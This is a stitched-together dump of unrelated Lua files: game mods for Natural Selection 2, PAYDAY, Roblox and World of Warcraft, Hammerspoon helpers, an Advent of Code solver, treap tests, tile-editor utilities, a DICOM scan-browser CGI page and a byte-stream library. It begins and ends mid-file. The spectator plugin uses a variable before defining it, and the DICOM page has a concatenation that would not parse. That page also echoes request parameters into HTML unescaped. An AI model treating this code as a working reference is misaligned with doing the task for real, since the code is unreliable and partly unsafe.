-- local cancel = false
-- local teamOnly = networkMessage.teamOnly
-- local message = StringTrim(networkMessage.message)
-- if not teamOnly then
-- TGNS.PlayerAction(client, function(p)
-- if TGNS.IsPlayerSpectator(p) and not TGNS.IsClientAdmin(client) then
-- md:ToPlayerNotifyError(p, "Spectators may chat only to other Spectators.")
-- cancel = true
-- end
-- end)
-- end
-- if cancel then
-- return ""
-- end
-- end
function Plugin:Initialise()
self.Enabled = true
TGNS.RegisterEventHook("ClientConfirmConnect", function(client)
local cancel = false
table.remove(allowedSpectatorSteamIds, steamId)
if TGNS.IsClientSM(client) then
local clientName = TGNS.GetClientName(client)
if TGNS.StartsWith(clientName, NAME_PREFIX) then
local steamId = TGNS.GetClientSteamId(client)
local spectatorsCountLimit = 4 // TGNSCaptains.IsCaptainsMode() and 7 or 4
if #TGNS.GetSpectatorClients(TGNS.GetPlayerList()) < spectatorsCountLimit or TGNS.IsClientAdmin(client) then
table.insert(allowedSpectatorSteamIds, steamId)
TGNS.PlayerAction(client, function(p)
md:ToPlayerNotifyInfo(p, NAME_REMINDER_MESSAGE)
TGNS.SendToTeam(p, kSpectatorIndex)
end)
else
TGNS.ScheduleAction(10, function() RemoveFailedSpecAttempt(client) end)
end
cancel = true
end
end
if cancel then
table.insert(clientConfirmConnectHandled, client)
end
end, TGNS.HIGHEST_EVENT_HANDLER_PRIORITY)
return true
end
function Plugin:Cleanup()
--Cleanup your extra stuff like timers, data etc.
self.BaseClass.Cleanup( self )
end
Shine:RegisterExtension("speclimit", Plugin ) |
local mainmenu = import(".MainMenu")
local LoadingScene = class("LoadingScene", function ()
return display.newScene("LoadingScene")
end)
function LoadingScene:ctor()
self.layer = display.newLayer()
local background = display.newSprite("logo.png", display.cx, display.cy):addTo(self.layer)
background:setScale(display.width/1024)
self:addChild(self.layer)
self:InitData()
end
function LoadingScene:InitData()
self:performWithDelay(function ()
display.replaceScene(mainmenu.new(), "fade", 0.1)
end, 0.4)
end
return LoadingScene |
local hotkey = require 'hs.hotkey'
local window = require 'hs.window'
local mouse = require 'hs.mouse'
local geometry = require 'hs.geometry'
local match_dialgoue = import('utils/match_dialogue')
local function module_init()
local function match_data_source()
local results = {}
for _, win in ipairs(window.allWindows()) do
local title = win:title()
if title:len() > 0 then
table.insert(results, {
string = win:application():title() .. ' - ' .. title,
window = win
})
end
end
return results
end
local function match_selected(match)
match.window:focus()
if config:get('app_selector.move_mouse', true) then
local center = geometry.rectMidPoint(match.window:frame())
mouse.set(center)
end
end
local matcher = match_dialgoue(match_data_source, match_selected)
hotkey.bind(config:get('app_selector.mash', { "ctrl" }), config:get('app_selector.key', "tab"), function()
matcher:show()
end)
end
return {
init = module_init
}
|
#! /usr/bin/env lua
--
-- main.lua
-- Copyright (C) 2021 Tyler Hart <admin@night.horse>
--
-- Distributed under terms of the MIT license.
--
DEBUG = true;
function print_dbg(str)
if DEBUG then print(str) end
end
function print_err(str)
print(str)
end
function file_into_arr(filepath, line_fn)
local file = io.open(filepath, "r");
local arr = {};
for line in file:lines() do
table.insert(arr, line_fn(line));
end
return arr
end
function newDiag(arr)
local self = {arr = arr}
local bit_conv_table = {
["1"] = 1,
["0"] = 0
}
local get_len = function()
return #self.arr
end
local get_bit_sums = function()
local bit_sums = {}
local bit_val
local bit_pos
for _,value in pairs(self.arr) do
bit_pos = 1
for char in value:gmatch"." do
bit_val = bit_conv_table[char]
bit_sums[bit_pos] =
(bit_sums[bit_pos] or 0)
+ bit_val
bit_pos = bit_pos + 1
end
end
return bit_sums
end
local get_processed_child = function(trgt_val, pos)
local child_arr = {}
for _,v in pairs(self.arr) do
if bit_conv_table[string.sub(v, pos, pos)] == trgt_val then
table.insert(child_arr, v)
end
end
return newDiag(child_arr)
end
local mode_in_pos = function(pos)
sum = 0
for _,v in pairs(self.arr) do
sum = sum + bit_conv_table[string.sub(v, pos, pos)]
end
if sum > (#self.arr / 2) then
return 1
else
return 0
end
end
-- Gets the final element in self.arr if there is only one
local get_final_elem = function()
if get_len() == 1 then
return self.arr[1]
end
end
local get_oxygen = function()
local bit_val = mode_in_pos(1)
local bit_pos = 1
local res = get_processed_child(bit_val, bit_pos)
bit_pos = bit_pos + 1
while res.get_len() > 1 do
bit_val = res.mode_in_pos(bit_pos)
res = res.get_processed_child(bit_val, bit_pos)
bit_pos = bit_pos + 1
end
return tonumber(res.get_final_elem(), 2)
end
local get_co2 = function()
local bit_val = (1 + mode_in_pos(1)) % 2
local bit_pos = 1
local res = get_processed_child(bit_val, bit_pos)
bit_pos = bit_pos + 1
while res.get_len() > 1 do
bit_val = (1 + res.mode_in_pos(bit_pos)) % 2
res = res.get_processed_child(bit_val, bit_pos)
bit_pos = bit_pos + 1
end
return tonumber(res.get_final_elem(), 2)
end
local get_gamma = function()
local total_values = #self.arr
local bit_sums = get_bit_sums()
local bit_string = ""
for _,v in pairs(bit_sums) do
if v > (total_values / 2) then
bit_string = bit_string .. "1"
else
bit_string = bit_string .. "0"
end
end
return tonumber(bit_string, 2)
end
local get_epsilon = function()
local total_values = #self.arr
local bit_sums = get_bit_sums()
local bit_string = ""
for _,v in pairs(bit_sums) do
if v < (total_values / 2) then
bit_string = bit_string .. "1"
else
bit_string = bit_string .. "0"
end
end
return tonumber(bit_string, 2)
end
local print_contents = function()
for _,v in pairs(self.arr) do
print(v)
end
end
local print_res = function()
for _,v in pairs(get_bit_sums()) do
-- print_dbg(v)
end
print("gamma", get_gamma())
print("epsilon", get_epsilon())
print("product", get_gamma() * get_epsilon())
print("oxygen", get_oxygen())
print("co2", get_co2())
print("life", get_co2() * get_oxygen())
end
return {
get_len = get_len,
get_bit_sums = get_bit_sums,
print_res = print_res,
print_contents = print_contents,
get_processed_child = get_processed_child,
mode_in_pos = mode_in_pos,
get_final_elem = get_final_elem
}
end
diag = newDiag(file_into_arr("input.txt", tostring))
diag.print_res()
|
require 'luacov'
local treap = require "treap"
context("treap.lua interface implements", function()
context('new()', function()
test('creates a new treap', function()
local root = treap.new(0)
assert_equal(root.key, 0)
end)
test('by default, it will have a random numeric priority', function()
local root = treap.new(0)
assert_type(root.priority, 'number')
end)
test('priority can be set via treap.new()', function()
local root = treap.new(0, math.pi)
assert_equal(root.priority, math.pi)
end)
end)
context('insert()', function()
test('adds keys to a treap', function()
local root = treap.new(0)
root = treap.insert(root, 1)
assert_equal(treap.find(root, 1).key, 1)
root = treap.insert(root, 2)
assert_equal(treap.find(root, 2).key, 2)
root = treap.insert(root, 3)
assert_equal(treap.find(root, 3).key, 3)
end)
end)
context('delete()', function()
test('deletes keys from a treap', function()
local root = treap.new(0)
root = treap.insert(root, 1)
root = treap.insert(root, 2)
root = treap.insert(root, 3)
root = treap.delete(root, 2)
assert_nil(treap.find(root,2))
root = treap.delete(root, 3)
assert_nil(treap.find(root,3))
root = treap.delete(root, 1)
assert_nil(treap.find(root,1))
root = treap.delete(root, 0)
assert_nil(treap.find(root,0))
end)
end)
context('find()', function()
test('finds a key in a treap', function()
local root = treap.new(0)
local rand = {}
for i = 1, 1000 do
rand[i] = math.random(1,1000)
root = treap.insert(root, i)
end
for i = 1, 1000 do
assert_equal(treap.find(root,i).key, i)
end
end)
end)
context('inorder()', function()
local root
local inorder
before(function()
root = treap.insert(root, 50)
root = treap.insert(root, 30)
root = treap.insert(root, 20)
root = treap.insert(root, 40)
root = treap.insert(root, 70)
root = treap.insert(root, 60)
root = treap.insert(root, 80)
inorder = {}
treap.inorder(root, function(node)
table.insert(inorder, node.key)
end)
end)
test('traverses a treap', function()
assert_equal(inorder[1], 20)
assert_equal(inorder[2], 30)
assert_equal(inorder[3], 40)
assert_equal(inorder[4], 50)
assert_equal(inorder[5], 60)
assert_equal(inorder[6], 70)
assert_equal(inorder[7], 80)
end)
end)
context('size()', function()
test('returns the size of a treap', function()
local root = treap.new(0)
assert_equal(treap.size(root), 1)
root = treap.insert(root, 2)
root = treap.insert(root, 8)
root = treap.insert(root, 10)
assert_equal(treap.size(root), 4)
root = treap.delete(root, 8)
assert_equal(treap.size(root), 3)
end)
end)
end) |
UT.menus.construction = {
title = "construction menu",
button_list = {
{text = "save", callback_func = function() UT.Construction.save() end},
{text = "load", callback_func =
function()
local menu = {
title = "load",
button_list = {}
}
local constructions = UT.getConstructions()
local levelId = managers.job:current_level_id()
if not UT.checkTable(constructions[levelId]) then
UT.showMessage("no saves", UT.colors.orange, "construction")
return
end
for key, value in pairs(constructions[levelId]) do
table.insert(menu.button_list, {text = value.name, callback_func = function() UT.Construction.load(value.units) end})
end
table.insert(menu.button_list, {no_text = true, no_selection = true})
table.insert(menu.button_list, {text = "cancel", cancel_button = true})
UT.openMenu(menu)
end
},
{text = "delete", callback_func =
function()
local menu = {
title = "delete",
button_list = {}
}
local constructions = UT.getConstructions()
local levelId = managers.job:current_level_id()
if not UT.checkTable(constructions[levelId]) then
UT.showMessage("no saves", UT.colors.orange, "construction")
return
end
for key, value in pairs(constructions[levelId]) do
table.insert(menu.button_list, {text = value.name, callback_func =
function()
local menu = {
title = "confirmation",
text = "Deletion is final. Continue ?",
button_list = {
{text = "yes", callback_func = function() UT.Construction.delete(value.time) end},
{text = "no", cancel_button = true}
}
}
UT.openMenu(menu)
end
})
end
table.insert(menu.button_list, {no_text = true, no_selection = true})
table.insert(menu.button_list, {text = "cancel", cancel_button = true})
UT.openMenu(menu)
end
},
{text = "clear", callback_func = function() UT.Construction.clear() end},
{no_text = true, no_selection = true},
{text = "toggle crosshair", callback_func = function() UT.Construction.toggleCrosshair() end},
{no_text = true, no_selection = true},
{text = "cancel", cancel_button = true},
}
}
eppoxrdv = true |
local mansion_0 = DoorSlot("mansion","0")
local mansion_0_hub = DoorSlotHub("mansion","0",mansion_0)
mansion_0:setHubIcon(mansion_0_hub)
local mansion_1 = DoorSlot("mansion","1")
local mansion_1_hub = DoorSlotHub("mansion","1",mansion_1)
mansion_1:setHubIcon(mansion_1_hub)
local mansion_2 = DoorSlot("mansion","2")
local mansion_2_hub = DoorSlotHub("mansion","2",mansion_2)
mansion_2:setHubIcon(mansion_2_hub)
local mansion_3 = DoorSlot("mansion","3")
local mansion_3_hub = DoorSlotHub("mansion","3",mansion_3)
mansion_3:setHubIcon(mansion_3_hub)
local mansion_4 = DoorSlot("mansion","4")
local mansion_4_hub = DoorSlotHub("mansion","4",mansion_4)
mansion_4:setHubIcon(mansion_4_hub)
local mansion_5 = DoorSlot("mansion","5")
local mansion_5_hub = DoorSlotHub("mansion","5",mansion_5)
mansion_5:setHubIcon(mansion_5_hub)
local mansion_6 = DoorSlot("mansion","6")
local mansion_6_hub = DoorSlotHub("mansion","6",mansion_6)
mansion_6:setHubIcon(mansion_6_hub)
local mansion_7 = DoorSlot("mansion","7")
local mansion_7_hub = DoorSlotHub("mansion","7",mansion_7)
mansion_7:setHubIcon(mansion_7_hub)
local mansion_8 = DoorSlot("mansion","8")
local mansion_8_hub = DoorSlotHub("mansion","8",mansion_8)
mansion_8:setHubIcon(mansion_8_hub)
local mansion_9 = DoorSlot("mansion","9")
local mansion_9_hub = DoorSlotHub("mansion","9",mansion_9)
mansion_9:setHubIcon(mansion_9_hub)
local mansion_10 = DoorSlot("mansion","10")
local mansion_10_hub = DoorSlotHub("mansion","10",mansion_10)
mansion_10:setHubIcon(mansion_10_hub)
|
F02 - 3P
F03 - 3P
F04 - 3P
F05 - 3P
F06 - 3P
F07 - 3P
F08 - 2P
F09 - 2P
F10 - 2P
F11 - 2P
F12 - 6P
F13 - 6P
F14 - 6P
F15 - 6P
F16 - 6P
F17 - 6P
F18 - 6P
F19 - 6P
F20 - 5P
F21 - 5P
F22 - 5P
F23 - 5P
F24 - 2P
F25 - 2P
F26 - 2P
F27 - 2P
F28 - 2P
F29 - 2P
F30 - 2P
F31 - 2P
F32 - 2P
F33 - 2P
F34 - 2P
F35 - 5P
F36 - 5P
F37 - 5P
F38 - 5P
F39 - 6P
F40 - 6P
|
local mod = DBM:NewMod(1774, "DBM-BrokenIsles", nil, 822)
local L = mod:GetLocalizedStrings()
mod:SetRevision(("$Revision: 17078 $"):sub(12, -3))
mod:SetCreatureID(109331)
mod:SetEncounterID(1952)
mod:SetReCombatTime(20)
mod:SetZone()
--mod:SetMinSyncRevision(11969)
mod:RegisterCombat("combat")
mod:RegisterEventsInCombat(
"SPELL_CAST_START 217966 217986 217893",
"SPELL_CAST_SUCCESS 217877",
"SPELL_AURA_APPLIED 217563 217877 217831 217834",
"SPELL_AURA_REMOVED 217877",
"SPELL_PERIODIC_DAMAGE 217907",
"SPELL_PERIODIC_MISSED 217907",
"UNIT_SPELLCAST_SUCCEEDED"
)
--TODO, promote howling gale to special warn if it is at all threatening
local warnAncientRageFire = mod:NewSpellAnnounce(217563, 2)
local warnBurningBomb = mod:NewSpellAnnounce(217877, 3)
local warnAncientRageFrost = mod:NewSpellAnnounce(217831, 2)
local warnHowlingGale = mod:NewSpellAnnounce(217966, 2)
local warnIcyComet = mod:NewSpellAnnounce(217925, 2)
local warnAncientRageArcane = mod:NewSpellAnnounce(217834, 2)
local specBurningBomb = mod:NewSpecialWarningYou(217877, nil, nil, nil, 1, 2)--You warning because you don't have to run out unless healer is afk. However still warn in case they are
local yellBurningBomb = mod:NewFadesYell(217877)
local specWrathfulFlames = mod:NewSpecialWarningDodge(217893, nil, nil, nil, 1, 2)
local specWrathfulFlamesGTFO = mod:NewSpecialWarningMove(217907, nil, nil, nil, 1, 2)
local specArcaneDesolation = mod:NewSpecialWarningSpell(217986, nil, nil, nil, 2, 2)
local timerBurningBombCD = mod:NewCDTimer(13.4, 217877, nil, nil, nil, 3)
local timerWrathfulFlamesCD = mod:NewCDTimer(13.4, 217907, nil, nil, nil, 2)
local timerHowlingGaleCD = mod:NewCDTimer(13.8, 217966, nil, nil, nil, 2)
local timerArcaneDesolationCD = mod:NewCDTimer(12.2, 217986, nil, nil, nil, 2)
mod:AddReadyCheckOption(43193, false)
mod:AddRangeFrameOption(10, 217877)
mod.vb.specialCast = 0
function mod:OnCombatStart(delay, yellTriggered)
self.vb.specialCast = 0
if yellTriggered then
end
end
function mod:OnCombatEnd()
if self.Options.RangeFrame then
DBM.RangeCheck:Hide()
end
end
function mod:SPELL_CAST_START(args)
local spellId = args.spellId
if spellId == 217966 then
self.vb.specialCast = self.vb.specialCast + 1
warnHowlingGale:Show()
if self.vb.specialCast == 1 then
timerHowlingGaleCD:Start()
end
elseif spellId == 217986 then
self.vb.specialCast = self.vb.specialCast + 1
specArcaneDesolation:Show()
specArcaneDesolation:Play("carefly")
if self.vb.specialCast == 1 then
timerArcaneDesolationCD:Start()
end
elseif spellId == 217893 then
specWrathfulFlames:Show()
specWrathfulFlames:Play("watchstep")
end
end
function mod:SPELL_CAST_SUCCESS(args)
local spellId = args.spellId
if spellId == 217877 then
self.vb.specialCast = self.vb.specialCast + 1
if self.vb.specialCast == 1 then
timerBurningBombCD:Start()
end
end
end
function mod:SPELL_AURA_APPLIED(args)
local spellId = args.spellId
if spellId == 217877 then
warnBurningBomb:CombinedShow(0.3, args.destName)
if args:IsPlayer() then
specBurningBomb:Show()
specBurningBomb:Play("targetyou")
yellBurningBomb:Schedule(7, 1)
yellBurningBomb:Schedule(6, 2)
yellBurningBomb:Schedule(5, 3)
if self.Options.RangeFrame then
DBM.RangeCheck:Show(10)
end
end
end
end
function mod:SPELL_AURA_REMOVED(args)
local spellId = args.spellId
if spellId == 217877 then
if args:IsPlayer() then
yellBurningBomb:Cancel()
if self.Options.RangeFrame then
DBM.RangeCheck:Hide()
end
end
end
end
function mod:SPELL_PERIODIC_DAMAGE(_, _, _, _, destGUID, _, _, _, spellId)
if spellId == 217907 and destGUID == UnitGUID("player") and self:AntiSpam(2, 5) then
specWrathfulFlamesGTFO:Show()
specWrathfulFlamesGTFO:Play("runaway")
end
end
mod.SPELL_PERIODIC_MISSED = mod.SPELL_PERIODIC_DAMAGE
function mod:UNIT_SPELLCAST_SUCCEEDED(uId, _, _, spellGUID)
local spellId = tonumber(select(5, strsplit("-", spellGUID)), 10)
if spellId == 217563 and self:AntiSpam(4, 1) then---Fire Phase
self.vb.specialCast = 0
warnAncientRageFire:Show()
timerWrathfulFlamesCD:Start(7.4)
elseif spellId == 217831 and self:AntiSpam(4, 2) then--Frost Phase
self.vb.specialCast = 0
warnAncientRageFrost:Show()
elseif spellId == 217834 and self:AntiSpam(4, 3) then--Arcane Phase
self.vb.specialCast = 0
warnAncientRageArcane:Show()
elseif spellId == 217919 and self:AntiSpam(4, 4) then--Icy Comet
warnIcyComet:Show()
end
end
|
-- This is a script made by FreakingHulk for the Intro GUI in Cops vs Robbers.
local gui = script.Parent.Parent -- The core gui
local frame = script.Parent -- The frame that all of this is parented to
local cops, prisoners, citizens = frame.Cops, frame.Prisoners, frame.Citizens -- These are each textbuttons
local player = game.Players.LocalPlayer -- The player in which this script is running.
repeat wait() until player.Character and player.Character:IsDescendantOf(game.Workspace) -- Make sure the character is loaded.
local char = player.Character -- Assign player.Character to char
local SetCoreFunctions = { "SendNotification", "ResetButtonCallback" }
local teams = {["Cops"] = game.Teams.Cops, ["Prisoners"] = game.Teams.Prisoners, ["Robbers"] = game.Teams.Robbers, ["Citizens"] = game.Teams.Citizens}
function setSendNotificationParams(title, text)
return {Title = title, Text = text}
end
function teamMemberNumberCheck(team)
local number = #team:GetPlayers()
if number > 10 then
return true
else
return false
end
end
-- Events & Functions
cops.MouseButton1Click:Connect(function() -- Listen for when the player clicks the "Cops Team" button, AKA the variable cops
if teamMemberNumberCheck(teams.Cops) then
cops.Text = "Sorry, that team is full."
wait(3)
cops.Text = "Cops Team"
else
player.TeamColor = BrickColor.new("Navy blue")
game.StarterGui:SetCore(SetCoreFunctions[1], setSendNotificationParams("Team Change", "You joined the Cops Team."))
game.ReplicatedStorage.PlayerTeamAssigned:FireServer({["Team"] = "Cops"})
end
end)
gui.Enabled = true
|
function fromhex(s)
return tonumber(s, 16)
end
function fromhex_swapnibbles(s)
local x = fromhex(s)
return math.floor(x/16) + 16*(x%16)
end
local hext = { [0] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'a', 'b', 'c', 'd', 'e', 'f'}
function tohex(b)
return hext[math.floor(b/16)]..hext[b%16]
end
function tohex_swapnibbles(b)
return hext[b%16]..hext[math.floor(b/16)]
end
function roundto8(x)
return 8*math.floor(x/8 + 1/2)
end
function sign(x)
return x > 0 and 1 or -1
end
function fill2d0s(w, h)
local a = {}
for i = 0, w - 1 do
a[i] = {}
for j = 0, h - 1 do
a[i][j] = 0
end
end
return a
end
function rectCont2Tiles(i, j, i_, j_)
return math.min(i, i_), math.min(j, j_), math.abs(i - i_) + 1, math.abs(j - j_) + 1
end
function div8(x)
return math.floor(x/8)
end
function dumplua(t)
return serpent.block(t, {comment = false})
end
function loadlua(s)
f, err = loadstring("return "..s)
if err then
return nil, err
else
return f()
end
end
local alph_ = "abcdefghijklmnopqrstuvwxyz"
local alph = {[0] = " "}
for i = 1, 26 do
alph[i] = string.sub(alph_, i, i)
end
function b26(n)
local m, n = math.floor(n / 26), n % 26
if m > 0 then
return b26(m - 1) .. alph[n + 1]
else
return alph[n + 1]
end
end
function loadroomdata(room, levelstr)
for i = 0, room.w - 1 do
for j = 0, room.h - 1 do
local k = i + j*room.w
room.data[i][j] = fromhex(string.sub(levelstr, 1 + 2*k, 2 + 2*k))
end
end
end
function dumproomdata(room)
local s = ""
for j = 0, room.h - 1 do
for i = 0, room.w - 1 do
s = s .. tohex(room.data[i][j])
end
end
return s
end
function roomMakeStr(room)
if room then
room.str = dumproomdata(room)
end
end
function roomMakeData(room)
if room then
room.data = fill2d0s(room.w, room.h)
loadroomdata(room, room.str)
end
end
function loadproject(str)
local proj = loadlua(str)
for n, room in pairs(proj.rooms) do
roomMakeData(room)
end
roomMakeData(proj.selection)
return proj
end
function dumpproject(proj)
for n, room in pairs(proj.rooms) do
roomMakeStr(room)
end
roomMakeStr(proj.selection)
return serpent.line(proj, {compact = true, comment = false, keyignore = {["data"] = true}})
end
|
-- Show list of studies / series that match query on passed date, modality, and patientID
-- allows: select, unselect, collect, submit at study or series level
-- allows: view at series level
-- 20130926 RvdB require 'Alea/split'
-- 20141031 mvh+svk: Split hierarchical query into 2 non-hier levels
-- 20141102 mvh+svk: Pass studyuid to viewer; put quotes around header info
-- uit Dicom.ini server config (= Alea/config)
local source = gpps('Alea', 'Source', '(local)');
function DICOMDateToDisplay(datein)
if datein=='' then
return '';
end;
local year, month, day;
day = string.sub(datein, 7, 8);
month = string.sub(datein, 5, 6);
year = string.sub(datein, 1, 4);
if month=='01' then month = 'Jan' end
if month=='02' then month = 'Feb' end
if month=='03' then month = 'Mar' end
if month=='04' then month = 'Apr' end
if month=='05' then month = 'May' end
if month=='06' then month = 'Jun' end
if month=='07' then month = 'Jul' end
if month=='08' then month = 'Aug' end
if month=='09' then month = 'Sep' end
if month=='10' then month = 'Oct' end
if month=='11' then month = 'Nov' end
if month=='12' then month = 'Dec' end
return day..' '..month..' '..year
end;
-- parameters from cgi
function queryallseries()
if source=='(local)' then
s = servercommand('get_param:MyACRNema')
else
s = source;
end
local b1=newdicomobject();
b1.PatientID = CGI('patientId');
b1.StudyDate = CGI('date');
b1.StudyInstanceUID = '';
b1.StudyDescription = '';
local studies=dicomquery(s, 'STUDY', b1);
local seriest={}
for i=0, #studies-1 do
local b=newdicomobject();
b.PatientID = CGI('patientId');
b.StudyDate = CGI('date');
b.Modality = CGI('modality');
b.StudyInstanceUID = studies[i].StudyInstanceUID;
b.SeriesDescription= '';
b.SeriesInstanceUID= '';
b.SeriesTime = '';
local series=dicomquery(s, 'SERIES', b);
for k=0,#series-1 do
seriest[#seriest+1]={}
seriest[#seriest].StudyDate = studies[i].StudyDate
seriest[#seriest].PatientID = studies[i].PatientID
seriest[#seriest].StudyInstanceUID = studies[i].StudyInstanceUID
seriest[#seriest].StudyDescription = studies[i].StudyDescription
seriest[#seriest].SeriesDescription= series[k].SeriesDescription
seriest[#seriest].SeriesTime = series[k].SeriesTime
seriest[#seriest].SeriesInstanceUID= series[k].SeriesInstanceUID
seriest[#seriest].Modality = series[k].Modality
end
end
return seriest
end
HTML('Content-type: text/html\n\n');
print
[[
<html>
<head>
<title>Browse scans</title>
<style type="text/css">
body {
font-family:Tahoma;
font-size:12px;
font-style:normal;
font-variant:normal;
font-weight:normal;
line-height:normal;
color:#000000;
}
a {
color:#0d45b7;
}
#content {
background-color:#dddddd;
width:200px;
margin-top:2px;
}
.date
{
padding: 4px;
}
.dthdr
{
border: 1px solid silver;
background-color: #FFFFD4;
margin-bottom: 3px;
}
</style>
</head>
<body>
]]
print
[[
<script type="text/javascript">
function toggle(id)
{ var e = document.getElementById(id);
if (e.style.display == '')
e.style.display = 'none';
else
e.style.display = '';
}
function sendView( url, title){
var msg = [];
var sendMsg = '';
msg.push('view');
msg.push(url);
msg.push(title);
sendMsg = msg.join('~');
parent.postMessage(sendMsg,'*');
}
function sendCollect(url, title){
var msg = [];
var sendMsg = '';
msg.push('collect');
msg.push(url);
msg.push(title);
sendMsg = msg.join('~');
parent.postMessage(sendMsg,'*');
}
function sendSubmit(url,key,StudyDate,SeriesTime,StudyInstanceUID,SeriesDescription,SeriesInstanceUID,Modality,anonseriesuid,anonstudyuid){
var msg = [];
var sendMsg = '';
msg.push('submit');
msg.push(key);
msg.push(StudyDate);
msg.push(SeriesTime);
msg.push(StudyInstanceUID);
msg.push(SeriesDescription);
msg.push('');
msg.push(SeriesInstanceUID);
msg.push(Modality);
msg.push(anonseriesuid);
msg.push(anonstudyuid);
msg.push(url);
sendMsg = msg.join('~');
parent.postMessage(sendMsg,'*');
}
</script>
]]
local eventid = CGI('eventCRFId');
if eventid=='' then eventid = CGI('studyEventId'); end;
local key =
'Study=' .. CGI('StudyName') ..';'..
'ECRF=' .. CGI('ECRFName') ..';'..
'Occurance=' .. CGI('OccuranceNumber');
local series=queryallseries()
table.sort(series, function(a,b) return a.StudyInstanceUID<b.StudyInstanceUID end)
print('<H3>'..CGI('modality')..' scans for patient: '..CGI('patientId')..'</H3>')
if CGI('date')~='' then
print('<div class="dthdr"><b>'..DICOMDateToDisplay(CGI('date'))..'</b></div>')
end
print'<div id="main">'
for i=1,#series do
if series[i].StudyDate=='' then series[i].StudyDate = series[i].SeriesDate end
if series[i].StudyDate=='' or series[i].StudyDate==nil then series[i].StudyDate = 'Unknown' end
local split = (i==1) or (series[i-1].StudyInstanceUID ~= series[i].StudyInstanceUID)
local anonstudyuid = servercommand('changeuid:'..series[i].StudyInstanceUID);
if split and i~=1 then
print ' </div>'
print ' </div>'
end
if split then
print (' <div class="date"><div class="dthdr">')
print (' Date:')
print([[ <a href="#" onclick="toggle('node]]..i..[[')">]], DICOMDateToDisplay(series[i].StudyDate))
print(' </a>')
print( series[i].StudyDescription)
print(' </div>')
if #series>200 then
print('<div id=node'..i..' style="display:none">')
else
print('<div id=node'..i..' >')
end
end
print('<div>')
local anonseriesuid = servercommand('changeuid:'..series[i].SeriesInstanceUID);
local header = series[i].Modality..[[ - ]]..series[i].SeriesTime..[[ - ]]..series[i].SeriesDescription
print([[ <a href=# onclick="javascript:sendView(']]
..script_name..[[?mode=Alea/wadoviewer&patientidmatch=]]
..series[i].PatientID..[[&studyUID=]]..series[i].StudyInstanceUID..[[&seriesUID=]]..series[i].SeriesInstanceUID..[[&source=]]..source..[[&header="]]..header..[["]]..
..[[', 'Scan')">[view]</a>]]
)
-- print([[ <a href=# onclick="javascript:sendCollect(
-- ']]..script_name..[[?mode=Alea/Process&option=collectseries&patientid=]]
-- ..series[i].PatientID..'&studyuid='..series[i].StudyInstanceUID
-- ..'&seriesuid='..series[i].SeriesInstanceUID..[[&key=]]..key
-- ..[[', 'Scan')">[collect]</a>]]
-- )
print([[ <a href=# onclick="javascript:sendSubmit(
']]..script_name..[[?mode=Alea/Process&option=submitseries&patientid=]]
..series[i].PatientID..'&studyuid='..series[i].StudyInstanceUID
..'&seriesuid='..series[i].SeriesInstanceUID..[[&key=]]..key..[[&header=]]..header
..[[', ']]..key
..[[', ']]..series[i].StudyDate
..[[', ']]..series[i].SeriesTime
..[[', ']]..series[i].StudyInstanceUID
..[[', ']]..series[i].SeriesDescription
..[[', ']]..series[i].SeriesInstanceUID
..[[', ']]..series[i].Modality
..[[', ']]..anonseriesuid
..[[', ']]..anonstudyuid
..[[')">[submit]</a>]]
)
if CGI('link')==CGI('subjectKey')..':'..anonstudyuid..':'..anonseriesuid then
print('<b>')
end
-- print(key2 ..'<br/>')
print(' ', series[i].Modality, series[i].SeriesTime, series[i].SeriesDescription)
if CGI('link')==CGI('subjectKey')..':'..anonstudyuid..':'..anonseriesuid then
print(' (selected)</b>')
end
print(' </div>')
end
print ' </div>'
print ' </div>'
print'</div>'
if #series==0 then
print('<H2><B>No '..CGI('modality')..' scans found</B></H2>');
end
print
[[
</body>
</html>
]]
|
local helpers = {}
function helpers.isZoomRunning()
return hs.application.get('zoom.us')
end
function helpers.logWindowInfo(w)
log.d("Id:", w:id())
log.d("Title:", w:title())
log.d("Size:", w:size())
log.d("Frame:", w:frame())
log.d("Role:", w:role())
log.d("Subrole:", w:subrole())
log.d(w)
end
function helpers.setWindowsToCell(winFilter, grid, cell)
local wins = winFilter:getWindows()
for i,w in pairs(wins) do
grid.set(w, cell)
end
end
function helpers.getDynamicMargins(h, v)
local max = hs.window.focusedWindow():screen():frame()
local hPad = math.floor(max.w * h)
local vPad = math.floor(max.h * v)
return hs.geometry.size(hPad,vPad)
end
return helpers |
-- Mini Streams library
---@class DataStream
---@field content string # Reader only
---@field ptr integer # Reader only
---@field len number # Reader only
---@field index number # Writer only
---@field parts string # Writer only
local DataStream = {}
DataStream.__index = DataStream
---@param str string
---@return DataStream
function DataStream.new(str)
return setmetatable({
content = str,
ptr = 0,
len = str and #str or 0,
parts = {},
index = 0
}, DataStream)
end
---@return number u8
function DataStream:readU8()
self.ptr = self.ptr + 1
return string.byte(self.content, self.ptr)
end
---@param n integer # 8, 16, 32, 64 ...
---@return number
function DataStream:readU(n)
local bytes = n / 8
local out = 0
for i = 0, bytes - 1 do
local b = self:readU8()
out = out + bit.lshift(b, 8 * i)
end
return out
end
---@return string
function DataStream:readString()
return self:readUntil(0)
end
---@param len integer
function DataStream:read(len)
local ret = string.sub(self.content, self.ptr, self.ptr + len)
self.ptr = self.ptr + len
return ret
end
---@param byte integer
---@return string
function DataStream:readUntil(byte)
self.ptr = self.ptr + 1
local ed = string.find(self.content, string.char(byte), self.ptr, true)
local ret = string.sub(self.content, self.ptr, ed)
self.ptr = ed
return ret
end
---@param byte integer
function DataStream:writeU8(byte)
self.index = self.index + 1
self.parts[self.index] = string.char(byte)
end
---@param str string
---@param not_terminated boolean # Whether to append a null char to the end, to make this able to be read with readString. (Else, will need to be self:read())
function DataStream:writeString(str, not_terminated)
self.index = self.index + 1
self.parts[self.index] = str
if not not_terminated then
self:writeU8(0)
end
end
---@param n integer
function DataStream:writeU16(n)
self:writeU8( n % 256 )
self:writeU8( math.floor(n / 256) )
end
---@param n integer
function DataStream:writeU32(n)
self:writeU16( n % 65536 )
self:writeU16( math.floor(n / 65536) )
end
---@param n integer
function DataStream:writeU64(n)
self:writeU32( n % 4294967296 )
self:writeU32( math.floor(n / 4294967296) )
end
---@return string
function DataStream:getBuffer()
return table.concat(self.parts)
end
--[[
local Example = DataStream.new()
Example:writeU64(125421)
Example:writeU32(22)
Example:writeU16(222)
local s = "foo bar!"
Example:writeU16(#s)
Example:writeString(s, true)
Example:writeU32(352)
local content = Example:getBuffer()
local Reader = DataStream.new(content)
print(content)
print("----")
print( Reader:readU(64) )
print( Reader:readU(32) )
print( Reader:readU(16) )
print( Reader:read(Reader:readU(16)) )
